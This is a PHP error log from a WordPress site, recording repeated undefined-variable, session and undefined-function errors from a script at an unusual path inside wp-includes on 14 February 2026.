[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
